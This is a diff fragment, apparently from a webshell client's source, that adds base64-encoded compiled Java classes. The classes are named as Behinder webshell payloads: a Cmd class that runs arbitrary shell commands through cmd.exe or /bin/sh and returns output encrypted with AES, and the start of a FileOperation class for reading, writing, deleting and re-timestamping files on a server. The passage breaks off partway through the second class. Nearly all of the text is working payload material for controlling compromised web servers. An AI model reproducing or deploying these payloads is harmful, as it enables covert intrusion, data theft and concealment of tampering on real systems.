+ "BwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goA" +
+ "JwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEF" +
+ "CAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBG" +
+ "ARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgL" +
+ "AMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkH" +
+ "AToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBh" +
+ "dGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24B" +
+ "AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQv" +
+ "cmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEA" +
+ "BXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVz" +
+ "dWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcv" +
+ "U3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzsp" +
+ "TGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVy" +
+ "OwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNy" +
+ "eXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtl" +
+ "eVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFy" +
+ "cmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0" +
+ "AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVp" +
+ "bGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFa" +
+ "AQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xh" +
+ "bmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9s" +
+ "YW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0" +
+ "Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1" +
+ "ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6" +
+ "AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZh" +
+ "L2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhj" +
+ "ZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEA" +
+ "B3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1j" +
+ "AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEA" +
+ "F2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04" +
+ "AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEA" +
+ "E2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACw" +
+ "ALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmlu" +
+ "ZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwM" +
+ "AX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdl" +
+ "Q29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNz" +
+ "aW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1Jh" +
+ "bmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hh" +
+ "cnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9P" +
+ "YmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNz" +
+ "OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01l" +
+ "dGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcv" +
+ "T2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdl" +
+ "AQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZh" +
+ "L2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5k" +
+ "ZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu" +
+ "Zy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJl" +
+ "YW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFy" +
+ "c2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2" +
+ "YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylW" +
+ "AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZh" +
+ "L3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2" +
+ "YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcv" +
+ "Q2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZh" +
+ "L3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQAD" +
+ "KClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5k" +
+ "c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJ" +
+ "SSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kp" +
+ "SQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA" +
+ "AAACAIIAgAAAAAkAAQCDAIQAAQCFAAAALwABAAEAAAAFKrcAAbEAAAACAIYAAAAGAAEAAAAOAIcAAAAMAAEAAAAFAIgAiQAAAAEA" +
+ "igCLAAEAhQAAA2EACQAIAAABzrsAAlm3AANNKiu3AAQsEgUqsgAGtwAHuQAIAwBXLBIJsgAKuQAIAwBXKrQAC7YADBINA70ADrYA" +
+ "Dyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAOtgAP" +
+ "LQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cBKk6nASZOLBIFLbYAG7kACAMAVywSCRIcuQAIAwBXKrQAC7YADBINA70A" +
+ "DrYADyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAO" +
+ "tgAPLQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cAkU6nAI06BSq0AAu2AAwSDQO9AA62AA8qtAALA70AELYAEToGGQa2" +
+ "AAwSEgS9AA5ZAxITU7YADzoHGQcZBgS9ABBZAyoqLAS3ABQSFbYAFrcAF1O2ABFXGQa2AAwSGAO9AA62AA8ZBgO9ABC2ABFXGQa2" +
+ "AAwSGQO9AA62AA8ZBgO9ABC2ABFXpwAFOgYZBb8ErAAHACkAogClABoACAApAKkAGgDCATsBPgAaAAgAKQFCAAAAqQDCAUIAAAFE" +
+ "AcQBxwAaAUIBRAFCAAAABACGAAAAhgAhAAAAHQAIAB8ADQAgAB0AIQApACwARQAtAFkALgB2ADAAjAAxAKIANgClADMApgA3AKkA" +
+ "IwCqACQAtwAlAMIALADeAC0A8gAuAQ8AMAElADEBOwA2AT4AMwE/ADcBQgArAUQALAFhAC0BdgAuAZQAMAGsADEBxAA2AccAMwHJ" +
+ "ADcBzAA4AIcAAABmAAoARQBdAIwAgAADAFkASQCNAI4ABACqABgAjwCQAAMA3gBdAIwAgAADAPIASQCNAI4ABAFhAGMAjACAAAYB" +
+ "dgBOAI0AjgAHAAABzgCIAIkAAAAAAc4AkQCAAAEACAHGAJIAkwACAJQAAAAMAAEACAHGAJIAlQACAJYAAAA/AAf/AKUAAwcAeQcA" +
+ "EAcAbgABBwAaQwcAGvcAlAcAGkMHAFH/AIQABgcAeQcAEAcAbgAABwBRAAEHABoB+AACAAIAlwCYAAIAhQAAAb8ABgAHAAAA6hId" +
+ "uAAeuAAfTRIgTivGANsrtgAhngDUEiK4AB62ACMSJLYAJZsAILgAJga9ACdZAxIoU1kEEilTWQUrU7YAKjoEpwAduAAmBr0AJ1kD" +
+ "EitTWQQSLFNZBStTtgAqOgS7AC1ZuwAuWRkEtgAvLLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3" +
+ "ThkFtgAyOgan/9u7AC1ZuwAuWRkEtgA4LLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3ThkFtgAy" +
+ "Ogan/9stsAAAAAMAhgAAAEYAEQAAADwACQA9AAwAPwAXAEEAJwBCAEQARABeAEYAdABHAHsASACAAEkAmQBKAKMATAC5AE0AwABO" +
+ "AMUAUADeAFEA6ABUAIcAAABSAAgAQQADAJkAmgAEAF4AigCZAJoABAB0AHQAmwCcAAUAewBtAJ0AewAGAAAA6gCIAIkAAAAAAOoA" +
+ "egB7AAEACQDhAJ4AnwACAAwA3gCSAHsAAwCWAAAAHwAG/QBEBwCgBwAn/AAZBwCh/QAcBwAtBwAnJxz4ACcAogAAAAQAAQAaAAIA" +
+ "owCkAAIAhQAAAQAABgAIAAAAcCq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxNLBI9tgAWTrsAPlktEj+3" +
+ "AEA6BBJBuABCOgUZBQQZBLYARBkFK7YARToGuwBGWbcARzoHGQcZBrYASCoZB7YASbcASrYAS7AAAAACAIYAAAAmAAkAAABZACkA" +
+ "WgAwAFsAPABcAEMAXQBLAF4AUwBfAFwAYABjAGIAhwAAAFIACAAAAHAAiACJAAAAAABwAKUApgABACkARwCnAHsAAgAwAEAAqACm" +
+ "AAMAPAA0AKkAqgAEAEMALQCrAKwABQBTAB0ArQCmAAYAXAAUAK4ArwAHAKIAAAAEAAEAGgACALAAsQACAIUAAAF2AAYABwAAAJMS" +
+ "IE0STLgAHjoEKrYADFcSTbgATk4tEk8BtgAPLQG2ABE6BRkFtgAMElAEvQAOWQMSE1O2AA8ZBQS9ABBZAytTtgARwAAnTacASjoF" +
+ "KrYADFcSUrgATk4ttgBTOgYZBrYADBJUBL0ADlkDEhNTtgAPGQYEvQAQWQMrU7YAEcAAJ00sEjYSILYAVRJWEiC2AFVNLLAAAQAK" +
+ "AEcASgBRAAMAhgAAADIADAAAAGcAAwBpAAoAbAAVAG0AIwBuAEcAdgBKAHAATAByAFcAcwBdAHQAgQB1AJEAdwCHAAAAXAAJACMA" +
+ "JACyAIAABQAVADUAswC0AAMAXQA0ALIAgAAGAEwARQC1ALYABQAAAJMAiACJAAAAAACTALcApgABAAMAkACSAHsAAgBXADwAswC0" +
+ "AAMACgCJALgAewAEAJYAAAAvAAL/AEoABQcAeQcAEwcAJwAHACcAAQcAUf8ARgAFBwB5BwATBwAnBwAOBwAnAAAAogAAAAQAAQAa" +
+ "AAIAuQC6AAMAhQAAAl4ABwAKAAABQrsAM1m3ADROEky4AB46BC0SV7YANVcruQBYAQC5AFkBADoFGQW5AFoBAJkA9hkFuQBbAQDA" +
+ "ACc6Bi27ADNZtwA0Ely2ADUZBrYANRJdtgA1tgA3tgA1VysZBrkAXgIAwAAntgBfOgccmQCnGQQSYLYAYZsATSq2AAxXEk24AE46" +
+ "CBkIEk8BtgAPGQgBtgAROgkZCbYADBJQBL0ADlkDEhNTtgAPGQkEvQAQWQMZBxIVtgAWU7YAEcAAJzoHpwBTKrYADFcSUrgATjoI" +
+ "GQi2AFM6CRkJtgAMElQEvQAOWQMSE1O2AA8ZCQS9ABBZAxkHEhW2ABZTtgARwAAnOgcZBxI2EiC2AFUSVhIgtgBVOgctGQe2ADVX" +
+ "LRJitgA1V6f/Bi22ADcSY7YAZJkADS0ttgBlBGS2AGYtEme2ADVXLbYAN7AAAAAEAIYAAABeABcAAAB7AAgAfAAPAH0AFgB+ADkA" +
+ "gABXAIEAZwCCAGsAhAB1AIYAgQCHAJEAiAC8AIkAvwCMAMsAjQDSAI4A/QCPAQ8AlAEWAJUBHQCWASAAlwEsAJgBNgCZAT0AmgCH" +
+ "AAAAcAALAIEAOwCzALQACACRACsAsgCAAAkAywBEALMAtAAIANIAPQCyAIAACQBnALYAuwB7AAcAOQDkAKcAewAGAAABQgCIAIkA" +
+ "AAAAAUIAvACTAAEAAAFCAL0AvgACAAgBOgC/AMAAAwAPATMAuAB7AAQAlAAAAAwAAQAAAUIAvACVAAEAlgAAAB4ABf4AIwcAMwcA" +
+ "JwcAwf0AmwcAJwcAJ/sAT/gAEBUAogAAAAQAAQAaAMIAAAACAMMAAgDEAMUAAgCFAAABLQAGAAMAAACtK7YADLYAaBJptgAlmwBR" +
+ "Kiu2AAwSagO9AA62AA8rA70AELYAEbUAayortgAMEmwDvQAOtgAPKwO9ABC2ABG1AAsqK7YADBJtA70ADrYADysDvQAQtgARtQA5" +
+ "pwAsK8AAbk0qLBJvuQBeAgC1ADkqLBJwuQBeAgC1AAsqLBJxuQBeAgC1AGsqtAALtgAMEnIEvQAOWQMSJ1O2AA8qtAALBL0AEFkD" +
+ "EhVTtgARV7EAAAAEAIYAAAAqAAoAAACdAA8AnwAoAKAAQQChAF0ApgBiAKcAbgCoAHoAqQCGAKsArACsAIcAAAAgAAMAYgAkAMYA" +
+ "kwACAAAArQCIAIkAAAAAAK0AkQCAAAEAlAAAAAwAAQBiACQAxgDHAAIAlgAAAAYAAvsAXSgAogAAAAQAAQAaAAIAyADJAAIAhQAA" +
+ "AP4ABgAGAAAAZiq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxMKwMFtgBzEBC4AHQQEHA9uwB1WbcAdk4c" +
+ "vAg6BAM2BRUFGQS+ogAWGQQVBS0RAQC2AHeRVIQFAaf/6BkEsAAAAAMAhgAAACIACAAAAK4AKQCvADgAsABAALEARQCyAFAAtABd" +
+ "ALIAYwC2AIcAAAA+AAYASAAbAMoAywAFAAAAZgCIAIkAAAApAD0ApwB7AAEAOAAuAMwAywACAEAAJgDNAM4AAwBFACEAzwCmAAQA" +
+ "lgAAABoAAv8ASAAGBwB5BwAnAQcAdQcAEwEAAPoAGgCiAAAABAABABoACADQAIQAAQCFAAAAHgABAAAAAAAGEnizAAqxAAAAAQCG" +
+ "AAAABgABAAAAEwABANEAAAACANI=";
+
+const FILE_OPERATION_CLASS_B64 =
+ "yv66vgAAADQDhgoAKwICCAIDCgIEAgUKAgYCBwkBNwIIBwIJCgAGAgIKATcCCgkBNwILCAGHCgCSAgwIAg0KATcCDgsA/QIPCAIQ" +
+ "CAIRCAGPCgE3AhIIAXoJATcCEwoBNwIUCAGmCgE3AhUIAZkKATcCFggBpQoBNwIXCAIYCgE3AhkIAhoIAboJATcCGwoAyAIcCQE3" +
+ "Ah0KATcCHggBowoBNwIfCQE3AiAKACsCIQgCIgcCIwoAKQIkBwIlCgGkAiYIAVQHAWYKATcCJwgCKAoAkgIpCgE3AioIAisIAiwH" +
+ "Ai0KADUCLggCLwoBNwIwCAGgCgE3AjEIAc0KATcCMggBoQoBNwIzCAGnCgE3AjQIAbQKATcCNQgCNgoBNwI3BwI4CgBFAi4KAEUC" +
+ "OQgCOgkBNwI7CgE3AjwHAj0KAEsCPgoASwI/CgE3AkAIAkEKAWwCQgoBbAJDCgFsAkQHAkUKAFMCAggCRgoCRwJICgCSAkkKAFMC" +
+ "SgoAUwJLBwJMCgBaAk0KAFoCTggBbwoBNwJPCgJQAlEKAEsCUgkBNwJTCgE3AlQKAcACVQoASwJWCAJXCgB9AlgIAlkIAXMIAdMK" +
+ "AH0CWggBvAoAfQJbCgBTAlwIAl0KAFMCXggCXwoBNwJgCAJhBwJiCAJjCgBzAk0HAmQKAH0CZQoAdgJmCgBzAmcIAmgIAmkKAJIC" +
+ "agcCawoAfQJNCgB9AmwKADUCTQoBNwJtCgB9Am4IAm8IAnAIAnEKAH0CcggCcwoAfQJ0CAJ1BwJ2CAJ3CAJ4CgApAnkIAnoIAnsI" +
+ "AnwIAn0HAn4HAn8KAH0CgAgCgQcCggcCgwcChAgChQcChggChwoAKwJeBwKICgCdAgIIAokKATcCigsBjQKLCAKMCgB9Ao0KATcC" +
+ "jgoBNwKPBwKQCgCmAgIHApEKAKgCkgoAqAKTCgCmApQKAKgCPwoApgKVCgBaApYKAFoClwoAWgI/CAKYCQE3ApkKAH0CmgoAfQKb" +
+ "CAKcCAKdCAKeCgB9Ap8KAKgCTQoCUAKgCgBaAqEIAqIKAH0CowgCpAgCpQgCpggCpwgCqAgCqQgCqggCqwgBqwgBrAcCrAoAyAKt" +
+ "CgGyAmcIAaoIAq4IAq8KAJICsAgCsQoAkgKyCQE3ArMKAbICtAoAdgK1CgB9ArYKATcCtwgCuAgBtggCuQkAyAK6CQE3ArsKAMgC" +
+ "vAkBNwK9CAK+CAK/CgCoAk4IAZUKAcACwAoASwLBCgHAAsIKAgQCwwoAfQLECQB9AsUIAsYKAgQCxwcCyAoA6QLJCgE3AsoKAOkC" +
+ "PwcCywoA7QIuBwLMCALNCgDvAs4DAAGQAAcCzwoA8wJNCgDpAtAKAKgC0QoA6QLSCgDpAtMIAtQLAY0C1QsB2QLWCwHZAtcHAtgI" +
+ "AtkKAJIC2goAUwLbCgBTAtwIAt0IAt4LAP0C3wsAmgLVCALgCALhCwD9AuIKAJICXggC4wgC5AgC5QgC5ggC5woAKQLoCAHYCALp" +
+ "CgCSAuoIAusIAuwIAu0IAu4IAu8IAvAHAvEIAvIKARkC8wgC9AoBHgL1BwL2CgEeAvcKAR4C+AoApgKWCgCSAvkIAvoIAvsIAvwI" +
+ "Av0KACkCWggC/ggC/wkBNwMACAMBCAMCCAH9CAMDCAMECAMFCgCSAksKAlADBgcDBwoBMwICCgEzAwgIAwkHAwoBAARtb2RlAQAS" +
+ "TGphdmEvbGFuZy9TdHJpbmc7AQAEcGF0aAEAB25ld1BhdGgBAAdjb250ZW50AQAHY2hhcnNldAEABGhhc2gBAApibG9ja0luZGV4" +
+ "AQAJYmxvY2tTaXplAQAPY3JlYXRlVGltZVN0YW1wAQAPbW9kaWZ5VGltZVN0YW1wAQAPYWNjZXNzVGltZVN0YW1wAQAHUmVxdWVz" +
+ "dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEACFJlc3BvbnNlAQAHU2Vzc2lvbgEACW9zQ2hhcnNldAEAGkxqYXZhL25pby9jaGFyc2V0" +
+ "L0NoYXJzZXQ7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRo" +
+ "aXMBADJMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9GaWxlT3BlcmF0aW9uOwEABmVxdWFscwEAFShMamF2YS9s" +
+ "YW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4" +
+ "Y2VwdGlvbjsBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh" +
+ "cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T" +
+ "dGFja01hcFRhYmxlAQANY2hlY2tGaWxlSGFzaAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABYgEA" +
+ "AUIBAAJjaAEAH0xqYXZhL25pby9jaGFubmVscy9GaWxlQ2hhbm5lbDsBAAVpbnB1dAEAAltCAQADbWQ1AQAdTGphdmEvc2VjdXJp" +
+ "dHkvTWVzc2FnZURpZ2VzdDsBAAlieXRlQXJyYXkBAAJzYgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsHAwsBAApFeGNlcHRp" +
+ "b25zAQAKdXBkYXRlRmlsZQEAA2ZvcwEAGkxqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW07AQALd2FycEZpbGVPYmoBAB8oTGphdmEv" +
+ "aW8vRmlsZTspTGphdmEvdXRpbC9NYXA7AQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAJU2lnbmF0dXJlAQBFKExqYXZhL2lvL0Zp" +
+ "bGU7KUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQAJaXNPbGRKYXZhAQADKCla" +
+ "AQAHdmVyc2lvbgEACmNoZWNrRXhpc3QBAAtnZXRGaWxlUGVybQEAIihMamF2YS9pby9GaWxlOylMamF2YS9sYW5nL1N0cmluZzsB" +
+ "AAVlcnJvcgEAEUxqYXZhL2xhbmcvRXJyb3I7AQAIRmlsZXNDbHMBABFMamF2YS9sYW5nL0NsYXNzOwEAFlBvc2l4RmlsZUF0dHJp" +
+ "YnV0ZXNDbHMBAAhQYXRoc0NscwEAF1Bvc2l4RmlsZVBlcm1pc3Npb25zQ2xzAQABZgEABWF0dHJzAQAHcGVybVN0cgEABGxpc3QB" +
+ "ABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABHRlbXABAAZvYmpBcnIBABBMamF2YS91dGlsL0xpc3Q7AQBHTGphdmEvdXRpbC9MaXN0" +
+ "PExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47PjsHAwwHAdIBAARzaG93AQALZmls" +
+ "ZUNvbnRlbnQBAAtnZXRGaWxlRGF0YQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAZvdXRwdXQBAB9MamF2YS9pby9CeXRlQXJy" +
+ "YXlPdXRwdXRTdHJlYW07AQADZmlzAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEABGRhdGEBAAFJAQAGY3JlYXRlAQADZnNv" +
+ "AQAKcmVuYW1lRmlsZQEAESgpTGphdmEvdXRpbC9NYXA7AQAHb2xkRmlsZQEAB25ld0ZpbGUBADcoKUxqYXZhL3V0aWwvTWFwPExq" +
+ "YXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQAKY3JlYXRlRmlsZQEAD2NyZWF0ZURpcmVjdG9yeQEAA2RpcgEA" +
+ "CGRvd25sb2FkBwMNAQAGYXBwZW5kAQAGZGVsZXRlAQAMZ2V0VGltZVN0YW1wAQAWQmFzaWNGaWxlQXR0cmlidXRlc0NscwEAC0Zp" +
+ "bGVUaW1lQ2xzAQAKY3JlYXRlVGltZQEADmxhc3RBY2Nlc3NUaW1lAQAQbGFzdE1vZGlmaWVkVGltZQEAE2xhc3RBY2Nlc3NUaW1l" +
+ "U3RhbXABABVsYXN0TW9kaWZpZWRUaW1lU3RhbXABAAJkZgEAFkxqYXZhL3RleHQvRGF0ZUZvcm1hdDsBAAx0aW1lU3RhbXBPYmoH" +
+ "Aw4BAAlpc1dpbmRvd3MBAA91cGRhdGVUaW1lU3RhbXABABlCYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3Q2xzAQAUZ2V0RmlsZUF0dHJp" +
